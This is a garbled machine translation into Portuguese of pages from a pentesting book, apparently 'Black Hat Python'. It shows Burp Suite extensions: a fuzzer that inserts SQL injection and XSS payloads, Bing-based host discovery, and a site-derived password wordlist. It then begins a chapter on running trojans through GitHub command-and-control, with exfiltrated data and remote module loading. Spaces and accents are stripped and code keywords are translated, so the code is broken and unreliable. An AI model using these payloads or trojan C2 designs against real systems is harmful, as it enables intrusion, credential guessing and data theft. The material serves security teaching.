funo,hasMorePayloads,lsimplesmenteparadecidirsequercontinuarpedidosmutantesdevolta
arrotarIntruder.Vamosapenasusarumcontadorparalidarcomisso,eumavezqueocontadorestnomximoque
vamosdefinir,vamosretornarFalsedemodoquenohmaiscasosfuzzingsogerados.ogetNextPayload
funoreceberacargaoriginalapartirdasolicitaoHTTPquevocpreso.Ou,sevoctem
selecionadovriasreasdecargatilnopedidoHTTP,vocsvaireceberosbytesquevoc
pediuparaserfuzzed(maissobreissodepois).Estafunopermitenosfuzzocasodetesteoriginale
emseguida,devolvloparaqueBurpenviaonovovalorfuzzed.Altimafuno,redefinir,existeparaquese
geramosumconjuntoconhecidodepedidosfuzzeddigamoscincodelesemseguida,paracadaposiodecargaque
designaramnaguiaIntruder,vamospercorreroscincovaloresfuzzed.
Nossafuzzernotoexigente,esemprevaiapenasmanteraleatoriamentefuzzingcadasolicitaoHTTP.Agoravamos
vercomoissoparecequandoimplementloemPython.Adicioneoseguintecdigoparaaparteinferior
bhp_fuzzer.py:
classeBHPFuzzer(IIntruderPayloadGenerator):
def__init__(self,extensor,ataque):
self._extender=extender
self._helpers=extender._helpers
self._attack=ataque


self.max_payloads=10
self.num_iterations=0

Retorna

hasMorePayloadsdef(self):
seself.num_iterations==self.max_payloads:
retornarFalse
outro:
retornarTrue

defgetNextPayload(self,current_payload):

#Converteemumastring
carga="".join(CHR(x)paraxemcurrent_payload)
#ChamaronossomutantesimplesdefuzzoPOST
carga=self.mutate_payload(carga)

#Aumentaronmerodetentativasdefuzzing
self.num_iterations+1=

payloadderetorno

redefiniodef(self):
self.num_iterations=0
Retorna

ComeamospordefinironossoBHPFuzzerclassequeestendeaclasseIIntruderPayloadGenerator.
Nsdefinimosasvariveis declassenecessrios,bemcomoadicionarmax_payloadsenum_iterations

variveis
paraquepossamosmanterocontroledequandodeixarBurpsabemqueestamosfuzzingacabado.Vocpoderia

Clarodeixeaextensocorrerparasempre,sequiser,masparatestesvamosdeixarissonolugar.Emseguidans
implementarohasMorePayloadsfunoquesimplesmenteverificaseatingimoso
nmeromximodeiteraesfuzzing.Vocpodemodificaristoparaexecutarcontinuamenteaextensopor
sempreretornandoverdadeiro.OgetNextPayloadfunoaquelequerecebeoHTTPoriginais
payloadeaquiqueseremosfuzzing.Ocurrent_payloadvarivelchegacomoumbyte
array,portanto,converterissoemumacordae,emseguida,passloparaanossafunofuzzingmutate_payload.
Emseguida,incrementarosnum_iterationsvarivelevoltaracargamutado.Nossaltimafuno
aredefiniodefunoqueretornasemfazernada.
Agoravamoscairemfunodefuzzingmaissimplesdomundoquevocpodemodificarocontedodoseucorao.
Porqueestafunoestcientedacargaatual,sevoctemumprotocolocomplicadoqueprecisa
algoespecial,comoumasomadecontroloCRC,noinciodacargaouumcampodecomprimento,podefazer
essesclculosdentroestafunoantesderetornar,oqueotornaextremamenteflexvel.Adicioneo
seguintecdigoparabhp_fuzzer.py,certificandosedequeomutate_payloadfunotabuladoemnossa
BHPFuzzerclasse:
mutate_payloaddef(self,original_payload):
#Escolherummodificadorsimplesouatmesmochamarumscriptexterno
picker=random.randint(1,3)

#Selecionarumdeslocamentonacargatilaleatriodemutao
offset=random.randint(0,len(original_payload)1)
payload=original_payload[:offset]

#DeslocamentoaleatrioinserirumatentativadeinjeodeSQL
Se==selecionadorde1:
carga+="'"

#JamumatentativaXSSno
Se==picker2:

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray 51/114
17/02/2016 C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin
payload+="<script>alert('BHP!')</script>"

#Repetirumapartedacargaoriginalumnmeroaleatrio
Se==selecionador3:

chunk_length=random.randint(len(payload[offset:]),len(payload)1)
repetidor =Random.randint(1,10)

foriinrange(repetidor):
payload+=original_payload[offset:offset+chunk_length]

#Adicionarosrestantesbitsdecargatil
payload+=original_payload[offset:]

payloadderetorno

Estefuzzersimplesbastanteautoexplicativo.Nsvamosescolheraleatoriamenteapartirdetrsmutators:aSQLsimples
testedeinjeocomumaaspasimples,umatentativaXSS,emseguida,ummodificadorqueselecionaumapartealeatriana
acargaoriginalerepeteumnmeroaleatriodevezes.TemosagoraumaextensoBurpIntruder
quepodemosusar.Vamosdarumaolhadaemcomopodemosobtlocarregado.

Chutarospneus
Primeirotemosdecomearanossaextensocarregadoecertificarsedequenohajaerros.CliquenoExtenderguia
emarrotoe,emseguida,cliquenoAddboto.ApareceumatelaquelhepermitirapontarBurpno
fuzzer.CertifiquesededefinirasmesmasopescomomostradonaFigura63.

Figura63.DefinirBurpparacarregaranossaextenso

CliqueemAvanareBurpircomearacarregaranossaextenso.Setudocorrerbem,arrotodeveindicarqueo

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray 52/114
17/02/2016 C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin
extensofoicarregadocomxito.Sehouvererros,cliquenoErrosguia,depurarerrosdedigitao,eemseguida
cliquenoFecharboto.SuatelaExtenderagoradevesersemelhanteaFigura64.

Figura64.ArrotoExtendermostrandoqueanossaextensoestacarregada

VocpodeverqueanossaextensocarregadoequeBurpidentificouqueumacargatilIntruder
geradorestregistrado.Agoraestamosprontosparaalavancarnossaextensoemumataquereal.Verifiqueseoseu
navegadorestconfiguradoparausarBurpProxycomoproxylocalhostnaporta8080,evamosatacaromesmo
AplicaowebAcunetixdoCaptulo5.Bastanavegarpara:
http://testphp.vulnweb.com

Comoumexemplo,euuseiapequenabarradepesquisaemseusiteparaenviarumapesquisaparaacadeia"teste".
Figura65mostracomoeupodeverestepedidoemoHTTPhistriaguiadeoProxyguia,eeutenhodireita
clicadoasolicitaoparaenviloparaIntruder.

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray 53/114
17/02/2016 C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin

Figura65.AseleodeumasolicitaoHTTPparaenviarparaointruso

AgoramudeparaoIntruderguiaecliquenoPosiesguia.Apareceumatelaquemostracadaconsulta
parmetrodestaque.EsteBurpidentificarospontosondedeveramosestarfuzzing.Podestentar
movendoosdelimitadoresdecargatilemtornoouselecionandotodaacargatilparafuzzsevocescolher,masemnossa
casovamosdeixarBurpdecidirondevamosfuzz.Paramaiorclareza,vejaFigura66,quemostra
comocargatildestacandoobras.
AgoracliquenoPayloadsguia.Nestatela,cliquenoPayloadtipodropdowneselecioneextenso
gerado.EmoPayloadOpesseo,cliquenoSelectgerador...botoeescolherBHP
PayloadGeneratorapartirdodropdown.SuacargatildeteladeveagoraolharcomoFigura67.

Figura66.ArrotoIntruderdestacandoparmetrosdecargatil

Figura67.Usandoanossaextensofuzzingcomoumgeradordecargatil

Agoraestamosprontosparaenviarnossospedidos.Notopodabarrademenuarroto,cliqueIntrudereselecione

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray 54/114
17/02/2016 C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin
Comeceataque.Estacomeaaenviarfuzzedpedidos,evocvaisercapazderapidamenteiratravsdo
resultados.Quandoeucorriafuzzer,recebisadacomomostradonaFigura68.

Figura68.NossafuzzercorrendoemumataqueIntruder

Comovocpodeveroavisonalinha61daresposta,nopedido5,descobrimosque
pareceserumavulnerabilidadedeinjeoSQL.
Agora,claro,onossodifusorapenasparafinsdedemonstrao,masvocficarsurpresoquoeficaz
podeserparaobterumaplicativodaWebparaerrosdesada,revelamcaminhosdeaplicao,ousecomportardemaneiras
queoslotesdeoutrosscannerspodeperder.Oimportanteentendercomoconseguimosobteronosso
extensopersonalizadaemlinhacomataquesdeintruso.Agoravamoscriarumaextensoquevainosajudara
realizandoalgumreconhecimentoestendidacontraumservidorweb.

BingparaBurp
Quandovocestatacandoumservidorweb,noincomumparaessanicamquinaparaservirvriosweb
aplicaes,algumasdasquaisvocpodenoestarciente.Claro,vocquerdescobrirestes
nomesdemquinasexpostasnomesmoservidorweb,porqueelespodemdarlheumamaneiramaisfcilparaobterumashell.
Noraroencontrarumaaplicaowebinsegurosouatmesmorecursosdedesenvolvimentolocalizadonamesma
mquinacomoseualvo.motordebuscadaMicrosoftBingtemrecursosdepesquisaquepermitemconsultar
BingparatodosossitesqueencontraremumnicoendereoIP(usandoomodificadordepesquisa"IP").Bingtambmvai
dizerlhetodosossubdomniosdeumdeterminadodomnio(usandoomodificador"domnio").
Agoranspodemos,claro,useumraspadordeapresentaressasconsultasparaBinge,emseguida,rasparoHTMLem
osresultados,masissoseriafaltadeeducao(etambmviolamtermosamaioriadosmotoresdebusca"deuso).Dentro
Paraficarforadeproblemas,podemosusaraAPIdoBing[13]aapresentaressasconsultasprogramaticamentee
emseguida,analisarosresultadosnsmesmos.NovamosimplementarquaisqueracrscimosBurpGUIfantasia(excetoa
menudecontexto)comestaextensonssimplesmentesadaosresultadosemBurpcadavezqueexecutarumaconsulta,
equaisquerURLsdetectadosnoescopodedestinodoBurpseroadicionadosautomaticamente.Porqueeujandei
loatravsdecomoleradocumentaoBurpAPIetraduziloemPython,vamoscomear
direitodeocdigo.
Crackabrirbhp_bing.pyeforjaroseguintecdigo:
dearrotoIBurpExtenderimportao
dearrotoIContextMenuFactoryimportao

dejavax.swingJMenuItemimportao
dalistadeimportaojava.util,ArrayList
dejava.netURLdeimportao

tomadadeimportao
urllibimportao
jsonimportao
importaore
base64importao
bing_api_key="YOURKEY"

classeBurpExtender(IBurpExtender,IContextMenuFactory):
registerExtenderCallbacksdef(self,chamadasderetorno):
self._callbacks=callbacks
self._helpers =()callbacks.getHelpers
self.context =None

#Montamosnossaextenso
callbacks.setExtensionName("BHPBing")
callbacks.registerContextMenuFactory(self)

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray 55/114
17/02/2016 C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin
Retorna

defcreateMenuItems(self,context_menu):
self.context=context_menu
menu_list=ArrayList()
menu_list.add(JMenuItem("EnviarparaoBing",actionPerformed=self.bing_
cardpio))
voltarmenu_list

EsteoprimeiropoucodenossaextensoBing.CertifiquesedeteroseuBingchavedeAPIcoladonolugar
vocestautorizadoalgocomo2.500buscaslivresporms.Comeamospordefinironosso
BurpExtenderclassequeimplementaopadroIBurpExtenderdeinterfaceeo
IContextMenuFactory,quepermitenosparafornecerumcontextodemenuquandoumusurioclicacomobotodireitoum
solicitar,porarroto.Nsregistramosnossomanipuladordemenuparaquepossamosdeterminarqualsiteousurio

clicado,oque,emseguida,permitenosconstruirnossasconsultasBing.Oltimopassoconfiguraronosso
createMenuItemfuno,queirreceberumIContextMenuInvocationobjetoquensirusar
paradeterminarqualopedidodeHTTPfoiseleccionado.Oltimopassotornaronossoitemdemenuetera
bing_menufunodelidarcomocliqueevento.AgoravamosadicionarafuncionalidadeparaexecutaroBing
consulta,asadadosresultados,eadicionarqualquerhostsvirtuaisdescobertosatescopoalvodearroto.
bing_menudef(self,evento):

#Pegarosdetalhesdoqueousurioclicou
http_trafficself.context.getSelectedMessages=()

print"%dpedidosdedestaque"%len(http_traffic)

paraotrfegoemhttp_traffic:
http_servicetraffic.getHttpService=()
anfitrio =Http_service.getHost()

print"Usuriohostselecionado:%s"%deacolhimento

self.bing_search(host)

Retorna

bing_searchdef(self,host):

#VerificarsetemosumIPouhostname
is_ip=re.match("[09]+(?:.\[09]+){3}",host)


seis_ip:
ip_address=host
domnio =False
outro:
ip_address=socket.gethostbyname(host)
domnio =True

bing_query_string=""ip:%s'"%ip_address
self.bing_query(bing_query_string)

seodomnio:
bing_query_string=""domnio:%s'"host%
self.bing_query(bing_query_string)

Nossabing_menufunoaccionadaquandoousurioclicanoitemdemenudecontextoquensdefinimos.Ns
recuperartodosospedidosdeHTTPqueforamdestacadase,emseguida,recuperarapartedohostdo
pedirparacadaumdeleseenviloparaonossobing_searchfunoparaprocessamentoposterior.o
bing_searchfunodeprimeirodeterminasequeforampassados deumIPaddressouumhostname.Ns,emseguida,

consultarBingparatodososhostsvirtuaisquetmomesmoendereoIPcomooanfitriocontidodentrodo
solicitaoHTTPqueestavacertoclicado.Seumdomniofoipassadoparaanossaextenso,entonstambmfazeruma
pesquisasecundriaparatodosossubdomniosqueBingpodeterindexados.Agoravamosinstalaroencanamento
usarAPIHTTPdoBurpparaenviaropedidoparaoBingeanalisarosresultados.Adicioneoseguintecdigo,
garantirquevocestcomguiascorretamenteemnossaBurpExtenderclasse,ouvocvaicorreremerros.
bing_querydef(self,bing_query_string):

imprimir"ExecutandoBingpesquisa:%s"%bing_query_string

#Codificarnossaconsulta
quoted_query=urllib.quote(bing_query_string)

http_request="GEThttps://api.datamarket.azure.com/Bing/Search/Web?$.
format=json&$top=20&query=%sHTTP/1.1\r\n"%quoted_query
http_request+="Anfitrio:api.datamarket.azure.com\r\n"

http_request+="Connection:close\r\n"
http_request+="Autorizao:Bsico%s\r\n"":%s"%%base64.b64encode(.
bing_api_key)
http_request+="UserAgent:BlackhatPython\r\n\r\n"


json_body=self._callbacks.makeHttpRequest("api.datamarket.azure.com",.
443,True,http_request).ToString()

json_body=json_body.split("\r\n\r\n",1)[1]

experimentar:
r=json.loads(json_body)

iflen(R["d"]["resultados"]):
parasitenar["d"]["resultados"]:

imprimir"*"*100
impressolocal['Ttulo']
localdeimpresso['url']
localdeimpresso['description']
imprimir"*"*100

j_url=URL(stio['url'])

Senoself._callbacks.isInScope(j_url):
imprimir"Adicionandoparaarrotarescopo"
self._callbacks.includeInScope(j_url)
exceto:
imprimir"NenhumresultadodeBing"
passar

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray 56/114
17/02/2016 C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin
Retorna
OK!APIHTTPdoarrotoexigequeconstruirtodaasolicitaoHTTPcomoumastringantesdeenviar
lo,e,emparticular,vocpodeverquetemosdebase64codificarnossachaveBingAPIeuso
HTTPautenticaobsicaparafazerachamadaAPI.Emseguida,enviaronossopedidoHTTPMicrosoft
servidores.Quandoosretornosderesposta,teremosarespostainteira,incluindooscabealhos,porisso,dividir
oscabealhosforae,emseguida,passloparaonossoanalisadorJSON.Paracadaconjuntoderesultados,algumasada
informaessobreositequedescobrimoseseositedescobriunoestnametadoBurp
mbito,nsadicionloautomaticamente.EstaumagrandemisturadeutilizaraAPIJythonepuroPythonemum
Arrotarextensoparafazerotrabalhodereconhecimentoadicionalaoatacarumalvoemparticular.Vamoslevlaparaumarodada.

Chutarospneus
UseomesmoprocedimentoqueusamosparanossaextensofuzzingparaobteroBingextensodebuscadetrabalho.
Quandoelecarregado,navegueathttp://testphp.vulnweb.com/,emseguida,cliquecomobotodireitodomousenopedidoGETvoc
apenasemitido.Seaextensocarregadacorretamente,vocdeveveraopodemenuEnviarparaBing
exibida,comomostradonaFigura69.

Figura69.opodemenuNewmostrandonossaextenso

Aoclicarnestaopodomenu,dependendodasadaquevocescolheuquandovoccarregouaextenso,
vocdevecomearaverosresultadosdoBingcomomostradonaFigura610.

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray 57/114
17/02/2016 C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin

Figura610.NossaextensodefornecimentodesadaapartirdabuscaAPIBing

EsevocclicarnoAlvoguianoarrotoeselecioneScope,vocvernovositensautomaticamente
adicionadoaonossoalcancealvo,comomostradonaFigura611.Oescopodedestinolimitaatividadescomoataques,
spidering,everificasomenteaosanfitriesdefinidos.

Figura611.MostrandocomodescobriuanfitriessoadicionadosautomaticamenteaoalcancealvodoBurp

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray 58/114
17/02/2016 C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin

VirandoocontedodositeemOurosenha
Muitasvezes,aseguranaseresumeaumacoisa:assenhasdousurio.tristemasverdade.Fazendocoisas
pior,quandosetratadeaplicaesweb,especialmenteaquelesfeitossobencomenda,muitocomumaodescobrirque
bloqueiosdecontanosoimplementadas.Emoutroscasos,senhasfortesnosoaplicadas.Nesses
casos,umasenhaonlineadivinhandosessocomooquenoltimocaptulopodeserapenasobilhetepara
teracessoaolocal.
Otruqueparasenhaonlineadivinhaoestrecebendoalistadepalavrasdireito.Vocnopodetestar10milhes
senhassevocestivercompressa,entovocprecisasercapazdecriarumalistadepalavrasalvoparaositeem
questo.Claro,existemscriptsnadistribuioKaliLinuxquerastejamumsiteegerar
umalistadepalavrascombasenocontedodosite.EmborasevocjtiverusadoBurparanhapararastrearosite,por
enviarmaistrfegoapenasparagerarumalistadepalavras?Almdisso,osscriptstmgeralmenteumatoneladadelinhadecomando
argumentosparaselembrar.Sevocforcomoeu,vocjmemorizouosuficientedelinhadecomando
argumentosparaimpressionarseusamigos,entovamosfazerBurpfazerotrabalhopesado.
Abrirbhp_wordlist.pyebaterparaforaestecdigo.
dearrotoIBurpExtenderimportao
dearrotoIContextMenuFactoryimportao

dejavax.swingJMenuItemimportao
dalistadeimportaojava.util,ArrayList
dejava.netURLdeimportao

importaore
apartirdedataehoradedataehoradeimportao
deHTMLParserHTMLParserimportao

classeTagStripper(HTMLParser):
def__init__(self):
HTMLParser.__oinit__(self)
self.page_text=[]

handle_datadef(self,dedados):
self.page_text.append(dados)

handle_commentdef(self,dedados):


self.handle_data(dados)

tiradef(self,html):
self.feed(html)
retornar"".join(self.page_text)

classeBurpExtender(IBurpExtender,IContextMenuFactory):
registerExtenderCallbacksdef(self,chamadasderetorno):
self._callbacks=callbacks
self._helpers =()callbacks.getHelpers
self.context =None
self.hosts =Set()

#Comececomalgoquesabemossercomum
self.wordlist=set(["password"])

#Montamosnossaextenso
callbacks.setExtensionName("BHPWordlist")
callbacks.registerContextMenuFactory(self)

Retorna

defcreateMenuItems(self,context_menu):
self.context=context_menu
menu_list=ArrayList()

menu_list.add(JMenuItem("CriarWordlist",
actionPerformed=self.wordlist_menu))

voltarmenu_list

Ocdigonestalistadevesermuitofamiliaragora.Comeamosimportandoosmdulosnecessrios.
UmauxiliarTagStripperclassenospermitirretirarastagsHTMLforadasrespostasHTTPque
processomaistarde.Suahandle_datafunoarmazenaotextodapginaemumavariveldemembro.Nstambm
definirhandle_commentporquequeremosqueaspalavrasarmazenadasnoscomentriosdedesenvolvedoresaseremadicionados
nossalistadesenhastambm.Debaixodascobertas,handle_commentapenaschamahandle_data(nocaso
queremosmudaraformacomoprocessamospginadetextoabaixodaestrada).
AtirafunoalimentaocdigoHTMLparaaclassebase,HTMLParser,eretornaapginaresultante
texto,oqueviracalharmaistarde.Orestoquaseexactamenteomesmoqueodoincio
bhp_bing.pyroteiroqueapenasterminou.Umavezqueoutravez,oobjetivoacriaodeumcontextomenudeprodutoemaBurp
UI.Anicacoisanovaaquiquensarmazenamosnossalistadepalavrasemumset,oquegarantequenofazer
introduzirpalavrasduplicadascomovamos.Nsinicializaroconjuntocomasenhafavoritodetodos,
"Password",sparatercertezadequeeleacabananossalistafinal.
AgoravamosadicionaralgicaparatomarotrfegoHTTPseleccionadosapartirdearrotoetransformloemumalistadepalavrasbase.
wordlist_menudef(self,evento):

#Pegarosdetalhesdoqueousurioclicou
http_trafficself.context.getSelectedMessages=()

paraotrfegoemhttp_traffic:
http_servicetraffic.getHttpService=()
anfitrio =Http_service.getHost()

self.hosts.add(host)

http_responsetraffic.getResponse=()

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray 59/114
17/02/2016 C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin
sehttp_response:


self.get_words(http_response)
self.display_wordlist()
Retorna

get_wordsdef(self,http_response):

cabealhos,corpo=http_response.tostring().split('\r\n\r\n',1)

#Pularrespostasnotexto
.Seheaders.lower()encontrar("ContentType:text")==1:
Retorna

tag_stripperTagStripper=()
page_text=tag_stripper.strip(corpo)

palavras=re.findall("[azAZ]\w{2}",page_text)

porpalavraempalavras:

#Filtrarcadeiaslongas
iflen(palavra)<=12:
self.wordlist.add(word.lower())
Retorna

Nossaprimeiraordemdenegciodefinirowordlist_menufuno,queonossomanipuladordemenudeclique.
Elesalvaonomedohostquerespondeparamaistarde,eemseguida,recuperaarespostaHTTPealimentaes
loaosnossosget_wordsfuncionar.Apartirda,get_wordsdivideocabealhodocorpodamensagem,

verificaoparacertificarsedequeestamosapenastentandoprocessarrespostasbaseadasemtexto.NossaTagStripperclasse
retiraoHTMLcdigoapartirdorestodeapginadetexto.Nsusarumregulardeexpressoparaencontrartodasaspalavras
comeandocomumcaracterealfabticoseguidopordoisoumaiscaracteres"palavra".depoisdefazer
ocortefinal,aspalavrasdesucessososalvosemminsculaslistadepalavras .
Agoravamoscompletaroroteiro,dandolheacapacidadedemangleeexibiralistadepalavrascapturado.
defmangle(self,palavra):
ano =Datetime.now().Ano
sufixos=["","1","!",ano]
=Mutilados[]

porsenhano(word,word.capitalize()):
parasufixonasufixos:


mangled.append("%s%s"%(password,sufixo))

voltarmutilado

display_wordlistdef(self):

print"#comentar:BHPWordlistparaosite(s)%s"%",".join(self.hosts)

porpalavranaordenada(self.wordlist):
porsenhanoself.mangle(palavra):
passworddeimpresso

Retorna

Muitoagradvel!Amanglefunotomaumapalavrabaseetransformaloemumasriedesuposiesdesenha
combaseemalgumacriaocomumsenha"estratgias".Nesseexemplosimples,criamosumalistade
sufixosparaalinhavarsobreofimdapalavrabase,incluindooanoemcurso.Emseguidanspercorrercada
sufixoeadicionlopalavradebaseparacriarumatentativadesenhanica.Fazemosumoutrolaocomum
capitalizadosversodapalavrabaseparaumaboamedida.Nodisplay_wordlistfuno,nsimprimimos
um"JohntheRipper"comentriodeestiloparanoslembrarquaissitesforamusadosparagerarestalistadepalavras.

Entonsmanglecadapalavrabaseeimprimirosresultados.Horadetomarestebebparaumarodada.

Chutarospneus
CliquenoExtenderguianoarroto,cliquenoAddbotoeuseomesmoprocedimentoqueusamosparaonosso
extensesanterioresparaobterotrabalhodeextensoWordlist.Quandovoctlocarregado,navegueat
http://testphp.vulnweb.com/.
BotodireitodomouseositenopainelMapadoSiteeselecioneAranhaesseacolhimento,comomostradonaFigura612.

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray 60/114
17/02/2016 C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin

Figura612.SpideringumhostcomBurp

ApsBurpvisitoutodososlinksnositededestino,selecionetodasassolicitaesnopainelsuperiordireito,direita
cliquenelesparaabriromenudecontextoeselecioneCriarWordlist,comomostradonaFigura613.

Figura613.EnviandoassolicitaesparaaextensoBHPWordlist

Agoraverifiqueaguiadaextensodesada.Naprtica,nssalvarasuasadaparaumarquivo,maspara
finsdedemonstraoqueexibealistadepalavrasemarroto,comomostradonaFigura614.
AgoravocpodealimentarestalistadevoltaparaBurpIntruderpararealizaroataquerealdeadivinhaodesenha.

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray 61/114
17/02/2016 C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin

Figura614.Alistadesenhascombasenocontedodositededestino

TemosagorademonstradoumpequenosubconjuntodaAPIarroto,inclusivesendocapazdegerarnossaprpria
cargasdeataque,bemcomoampliaodeedifciosqueinteragemcomainterfacedousurioarroto.Duranteumtestedepenetrao
muitasvezesvocvaisedeparadocomproblemasespecficosounecessidadesdeautomao,eaAPIBurpExtender
forneceumaexcelenteinterfaceparacodificarocaminhoparasairdeumcanto,oupelomenossalvlodeterque
continuamentecopiarecolardadoscapturadosapartirBurpparaoutraferramenta.
Nestecaptulo,nsmostramoslhecomoconstruirumaexcelenteferramentadereconhecimentoparaadicionarsuaferramentaBurp
cinto.Comoqueestaextensosrecuperaos20melhoresresultadosdeBing,assimcomoliodecasavocpodetrabalhar
emfazerpedidosadicionaisparagarantirquevocrecuperartodososresultados.Issoexigirfazendoum
poucodeleiturasobreaAPIdoBingeescreveralgumcdigoparalidarcomomaiorconjuntoderesultados.vocde
cursopoderiaentodizeraaranhaBurppararastrearcadaumdosnovossitesquevocdescobreeautomaticamente
caaparavulnerabilidades!

[13] Visitehttp://www.bing.com/dev/enus/devcenter/paraconseguirestabelecercomoseuprpriolivrechavedeAPIBing.

Captulo7.GithubComandoeControle
Umdosaspectosmaisdesafiadoresdacriaodeumquadrotrojanslidadeformaassncrona
controlar,atualizarereceberdadosapartirdeseusimplantesimplantados.crucialterumarelativamente
maneirauniversalparaempurrarcdigossuastrojansremotos.Estaflexibilidadenonecessriaapenasparacontrolaroseu
cavalosdeTria,paraexecutardiferentestarefas,mastambmporquevocpodetercdigoadicionalque
especficosdosistemaoperativodedestino.
Assim,enquantooshackerstiverammuitodemeioscriativosdecomandoecontroleaolongodosanos,como
IRCouatmesmoTwitter,vamostentarumserviorealmenteconcebidoparaocdigo.UsaremosGitHubcomoumaformade
armazenarainformaodeconfiguraodoimplanteeexfiltrateddedados,bemcomoquaisquermdulosqueoimplante
precisa,afimdeexecutartarefas.TambmvamosexplorarcomocortarimportaobibliotecanativadoPython
mecanismoparaque,comocriarnovosmdulosdetria,osimplantespodemtentarautomaticamentepara
recuperlosequaisquerbibliotecasdependentesdiretamentedoseurepo,tambm.Tenhaemmentequeoseutrfego
paraGitHubserocriptografadasemSSL,ehmuitopoucasempresasqueeuviqueactivamente
prprioblocoGitHub.
Umacoisaanotarquensvamosusarumrepositriopblicopararealizarestetestesevocgostariadepassaro
dinheiro,vocpodeobterumrepoprivadoparaqueerguerosolhosnopodemveroquevocestfazendo.Almdisso,todos
seusmdulos,aconfiguraoeosdadospodemsercriptografadosusandoparesdechavespblicas/privadas,queeu
demonstraremCaptulo9.Vamoscomear!

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray 62/114
17/02/2016 C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin

CriaodeumacontaGitHub
SevocnotiverumacontaGitHub,entocabeaparaGitHub.com,inscreverseecriarumanova
repositriochamadochapter7.Emseguida,vocvaiquererinstalaroPythonbibliotecaAPIGitHub[14]demodoquevoc
podeautomatizarasuainteracocomoseurepo.Vocpodefazerissoapartirdalinhadecomando,fazendoo
Segue:
pipinstalargithub3.py

Sevocnotiverfeitoisso,instaleoclientegit.EufaoomeudesenvolvimentodeumamquinaLinux,mas
funcionaemqualquerplataforma.Agoravamoscriarumaestruturabsicaparaonossorepo.Faaoseguintena
linhadecomando,adaptando,senecessrio,sevocestivernoWindows:
$Mkdirtrojan
$Cdtrojan
$Gitoinit
$Mkdirmdulos
$Mkdirconfigurao
$Mkdirdados
$Toquemdulos/.gitignore
$Toqueconfig/.gitignore
$Tocardados/.gitignore
$Gitadd.
$Gitcommitm"AdicionandorepoestruturadeTria".
$Gitremotoadicionarorigemhttps://github.com/<yourusername>/chapter7.git
$Gitempurrarorigemmestre

Aqui,nscriamosaestruturainicialparaonossorepo.Aconfiguraododiretriomantmarquivosdeconfigurao
queirseridentificadaexclusivamenteparacadatrojan.Comovocimplantartrojans,vocquercadaumparaexecutar
diferentestarefasecadaumtrojanirverificarseuarquivodeconfiguraonica.Amdulosdediretrio
contmqualquercdigomodularquedesejaqueotrojanparapegare,emseguida,executar.Vamosimplementaruma
corteespecialdeimportaoparapermitirqueonossotrojanparaimportarbibliotecasdiretamentedonossorepoGitHub.este
capacidadedecargaremototambmirpermitirquevocparaguardarbibliotecasdeterceirosnoGitHubparaquevocnotem
recompilarcontinuamenteoseutrojancadavezquevocdesejaadicionarnovasfuncionalidadesoudependncias.
Odadosdediretrioondeotrojanvaiverificaremqualquerrecolhidosdados,teclasdigitadas,screenshots,e
assimpordiante.Agoravamoscriaralgunsmdulossimpleseumexemplodearquivodeconfigurao.

criandoMdulos
Nosprximoscaptulos,vocvaifazernegciodesagradvelcomseustrojans,comoregistarasteclaspressionadasetendo
screenshots.Mas,paracomear,vamoscriaralgunsmdulossimplesquepodemosfacilmentetestareimplantar.Abraum
novoarquivonodiretriodemdulos,onomedeledirlister.py,einsiraoseguintecdigo:
importos

defexecute(**args):

print"[*]Nomdulodirlister."
arquivosos.listdir=(".")

retornostr(arquivos)

Estepequenotrechodecdigosimplesmenteexpeumacorridafunoquelistatodososarquivosnaatual
